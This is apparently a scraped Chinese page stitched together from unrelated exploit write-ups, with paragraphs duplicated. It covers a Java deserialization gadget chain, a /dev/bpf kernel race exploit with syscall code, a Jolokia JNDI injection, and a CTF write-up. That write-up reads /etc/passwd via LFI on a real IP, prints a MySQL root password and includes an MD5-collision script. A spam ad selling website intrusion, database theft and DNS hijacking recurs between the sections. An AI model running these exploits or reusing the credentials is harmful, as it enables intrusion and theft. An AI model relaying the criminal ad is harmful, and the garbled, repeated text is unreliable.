在构造payload 中,利用了 AnnotationInvocationHandler提供的 equals方法的默认实现,来触发对Tempaltes接口中 getOutputProperties()或 newTransformer()的调用,来具体看一下
AnnotationInvocationHandler 位于 sun.reflect.annotation 包中,用于 Annotation 的动态代理,其定义如下
可以看到实现了InvocationHandler和 Serializable两个接口,根据 Dynamic Proxy 部分的介绍,使用 AnnotationInvocationHandler 创建的 proxy object 的所有方法调用都会变成对 invoke 方法的调用,来看一下方法的实现
图片 可以看到当调用方法名为equals时,且参数个数和类型匹配,则调用内部equalsImpl方法
跟入后可以看到,首先获取typeClass 所有声明的方法,然后在参数Object o 上使用反射调用方法,因此前面所说TemplatesImpl 实例是需要作为参数传入
理一下思路
根据TemplatesImpl 部分的说明,创建一个包含恶意代码的TemplatesImpl 实例evilTemplates
使用AnnotationInvocationHandler 创建proxy object 代理Templates 接口 (会使用到反射)
调用proxy object 的equals方法,将 evilTemplates作为参数
示例代码如下,运行即可弹出计算器
这里结合了TemplatesImpl和 AnnotationInvocationHandler,将包含恶意代码的Templates 对象作为参数,手动调用equals方法来触发代码执行,所以还是需要再找到一个能够在反序列化过程中,满足这一条件的场景,我们来继续看第三个关键的类
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
AnnotationInvocationHandler 位于 sun.reflect.annotation 包中,用于 Annotation 的动态代理,其定义如下
可以看到实现了InvocationHandler和 Serializable两个接口,根据 Dynamic Proxy 部分的介绍,使用 AnnotationInvocationHandler 创建的 proxy object 的所有方法调用都会变成对 invoke 方法的调用,来看一下方法的实现
图片 可以看到当调用方法名为equals时,且参数个数和类型匹配,则调用内部equalsImpl方法
跟入后可以看到,首先获取typeClass 所有声明的方法,然后在参数Object o 上使用反射调用方法,因此前面所说TemplatesImpl 实例是需要作为参数传入
理一下思路
根据TemplatesImpl 部分的说明,创建一个包含恶意代码的TemplatesImpl 实例evilTemplates
使用AnnotationInvocationHandler 创建proxy object 代理Templates 接口 (会使用到反射)
调用proxy object 的equals方法,将 evilTemplates作为参数
示例代码如下,运行即可弹出计算器
这里结合了TemplatesImpl和 AnnotationInvocationHandler,将包含恶意代码的Templates 对象作为参数,手动调用equals方法来触发代码执行,所以还是需要再找到一个能够在反序列化过程中,满足这一条件的场景,我们来继续看第三个关键的类
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
为了设置攻击过程中的损坏部分,我们需要打开两个 /dev/bpf 实例。然后,我们会将它们绑定到一个有效的接口——绑定的接口取决于系统与网络的连接方式。如果是有线(以太网)连接,则需要绑定到“eth0”接口;如果是无线连接,则需要绑定到“wlan0”接口。该漏洞利用程序会通过执行测试自动确定要使用的接口。测试本质上是尝试连接到
然后对第二个设备重复相同的过程。
并行设置过滤器
为了造成内存损坏,我们需要两个并行运行的线程,它们不断地在各自的设备上设置过滤器。最终,有效的过滤器会被释放(free()),重新分配内存,并被无效的过滤器所覆盖。为此,每个线程实际上执行以下操作(伪代码):
触发代码执行
因此,我们可以破坏过滤器并替换成无效指令,但我们需要过滤器实际运行,才能通过被破坏的返回地址触发代码执行。由于我们设置的是“写”过滤器,
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
write()指定的接口,如果接口无效,write()则会失败并返回 -1。如果在绑定到“eth0”接口后出现这种情况,漏洞利用程序会尝试重新绑定到“wlan0”接口并再次检查。如果write()再次返回 -1,则漏洞利用程序会中止并报告绑定设备失败。// Open first device and bind
var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0"));
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
throw "Failed to bind to first /dev/bpf device!";
}
}
然后对第二个设备重复相同的过程。
并行设置过滤器
为了造成内存损坏,我们需要两个并行运行的线程,它们不断地在各自的设备上设置过滤器。最终,有效的过滤器会被释放(free()),重新分配内存,并被无效的过滤器所覆盖。为此,每个线程实际上执行以下操作(伪代码):
// 0x8010427B = BIOCSETWF
void threadOne() // Sets a valid program
{
for(;;)
{
ioctl(fd1, 0x8010427B, bpf_valid_program);
}
}
void threadTwo() // Sets an invalid program
{
for(;;)
{
ioctl(fd2, 0x8010427B, bpf_invalid_program);
}
}
触发代码执行
因此,我们可以破坏过滤器并替换成无效指令,但我们需要过滤器实际运行,才能通过被破坏的返回地址触发代码执行。由于我们设置的是“写”过滤器,
bpfwrite()因此它是执行此操作的理想选择。这意味着我们需要第三个线程运行,该线程会不断跳转write()到第一个 BPF 设备。当过滤器最终被破坏时,下一个线程write()将运行无效的过滤器,导致堆栈内存被破坏,并跳转到我们指定的任何地址,从而使我们能够(相当轻松地)在 ring0 中执行代码。void threadThree() // Tries to trigger code execution
{
void *scratch = (void *)malloc(0x200);
for(;;)
{
uint64_t n = write(fd1, scratch, 0x200);
if(n == 0x200))
{
break;
}
}
}
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
Jolokia 支持一个叫做代理模式(Proxy Mode)的东西,是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下:
可以通过向 Jolokia 发送 POST 请求来触发:
熟悉 Java 安全的朋友可能会注意到,这里可能有一个 JNDI 注入。的确,在 WAR Agent 的情况下,此处存在一个 JNDI 注入,问题发生在
当 Web Container 将请求的交由
那么,攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目标机器上执行命令。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
可以通过向 Jolokia 发送 POST 请求来触发:
熟悉 Java 安全的朋友可能会注意到,这里可能有一个 JNDI 注入。的确,在 WAR Agent 的情况下,此处存在一个 JNDI 注入,问题发生在
agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java:当 Web Container 将请求的交由
Jsr160RequestDispatcher 处理时,Jolokia Agent 创建连接,导致 JNDI 注入。在 WAR Agent 里,默认是由 Jsr160RequestDispatcher 处理的,这一点在 web.xml 也有体现:那么,攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目标机器上执行命令。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
分析泄露的源代码,我们发现其
现在,我们可以使用此有效载荷读取系统上我们用户拥有权限的任何文件:
提供的Dockerfile显示了一些有趣的信息和文件路径,我们可以使用 LFI 读取这些信息和文件路径。
首先, docker 容器会确认php、apache 和 mysql
找到了MySQL用户密码和一些系统信息。
MySQL root 密码:
我们还尝试对常用路径、/proc、文件描述符等进行模糊测试,以获取有关系统的更多信息。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
http://47.97.221.96:23333/index.php?action=login存在本地文件包含漏洞。现在,我们可以使用此有效载荷读取系统上我们用户拥有权限的任何文件:
http://47.97.221.96:23333/index.php?action=../../etc/passwd提供的Dockerfile显示了一些有趣的信息和文件路径,我们可以使用 LFI 读取这些信息和文件路径。
首先, docker 容器会确认php、apache 和 mysql
FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5的版本。找到了MySQL用户密码和一些系统信息。
MySQL root 密码:
root / Nu1Lctf%#~:p我们还尝试对常用路径、/proc、文件描述符等进行模糊测试,以获取有关系统的更多信息。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
即使没有远程代码执行 (RCE),并且已经掌握了有关系统的所有枚举信息,我们也决定解决 md5 碰撞问题,开始攻击登录系统。
所以,他们
这段代码存储在
如果系统返回,则
MD5 前 5 个字节哈希碰撞生成器
我们迅速编写了这段代码来获取有效的碰撞检测结果。
获取系统访问权限
现在,利用预先生成的代码,
好的,已登录。
浏览网页应用程序功能时,我们可以发布一些内容,并将
除非你
如您所见,此标志启用了文件发送选项,这是获取 RCE 的好方法。
如何设置 is_admin=1?
如果登录/注册 POST 请求来自正确的 IP 地址,代码会将此标志设置为 1,我敢肯定它是正确的
该
尝试注入会话 cookie 代码
第一个想法是
现在 cookie 文件中存储了更多信息,但只有
此检查会阻止无效用户名。我们不能创建包含某些代码的新用户。
尝试 SQL 注入
所以,我们的下一个想法是检查是否存在 SQL 注入漏洞。
查询语句非常简单,Db() 控制器没有正确地进行过滤。但代码本身没有问题。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
所以,他们
user.php~泄露了所有登录过程的详细信息。if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])要破解注册/登录凭证检查功能,必须将代码拆分成多个部分来解决。这段代码存储在
session cookie我们泄露内容但(目前)无法控制的地方。如果系统返回,则
Invalid user name表示我们已发送正确的内容code。MD5 前 5 个字节哈希碰撞生成器
我们迅速编写了这段代码来获取有效的碰撞检测结果。
<?php
## MD5 first 5 bytes hash collision generator - solution to easy_php @ N1CTF2018
# solved by intrd & shrimpgo - p4f team
## 1st create a wordlist: crunch 4 4 1234567890abcdefghijklmnopqrstuvwxyz_ -o file.txt
$_SESSION['code']=$argv["1"];
echo "** searching for: ".$_SESSION['code']."\n";
if ($file = fopen("file.txt", "r")) {
while(!feof($file)) {
$line = trim(fgets($file));
$_POST['code'] = $line;
if(substr(md5($_POST['code']),0, 5)===$_SESSION['code']){
echo "yeah!\n".md5($line);
echo ":\n".$line."\n";
die();
}
}
fclose($file);
}
?>
获取系统访问权限
现在,利用预先生成的代码,
aklhic我们可以创建一个正在浏览的新用户。http://47.97.221.96:23333/index.php?action=register好的,已登录。
浏览网页应用程序功能时,我们可以发布一些内容,并将
Allow different ip to login标志设置为当前用户。仅此而已。除非你
is_admin=1在 cookie 中设置了该标志,否则不会有其他操作。如您所见,此标志启用了文件发送选项,这是获取 RCE 的好方法。
如何设置 is_admin=1?
如果登录/注册 POST 请求来自正确的 IP 地址,代码会将此标志设置为 1,我敢肯定它是正确的
127.0.0.1。该
get_ip()函数严格读取该值REMOTE_ADDR,我认为我无法伪造该值。尝试注入会话 cookie 代码
第一个想法是
<?php code ?>在 cookie 会话文件中注入一些东西,我可以从 LFI 启动它。现在 cookie 文件中存储了更多信息,但只有
username我可以控制这些信息。而且这些信息都经过了适当的过滤。此检查会阻止无效用户名。我们不能创建包含某些代码的新用户。
尝试 SQL 注入
所以,我们的下一个想法是检查是否存在 SQL 注入漏洞。
查询语句非常简单,Db() 控制器没有正确地进行过滤。但代码本身没有问题。
(int)有时它会在发送查询之前转换数据类型,这会破坏我们的 SQL 注入尝试。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM